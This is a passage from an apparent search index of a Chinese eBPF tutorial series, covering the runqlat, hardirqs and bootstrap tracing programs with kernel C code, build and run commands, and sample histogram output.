cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include <argp.h>\n#include <signal.h>\n#include <stdio.h>\n#include <time.h>\n#include <sys/resource.h>\n#include <bpf/libbpf.h>\n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"<bpf@vger.kernel.org>\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d <min-duration-ms>] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, 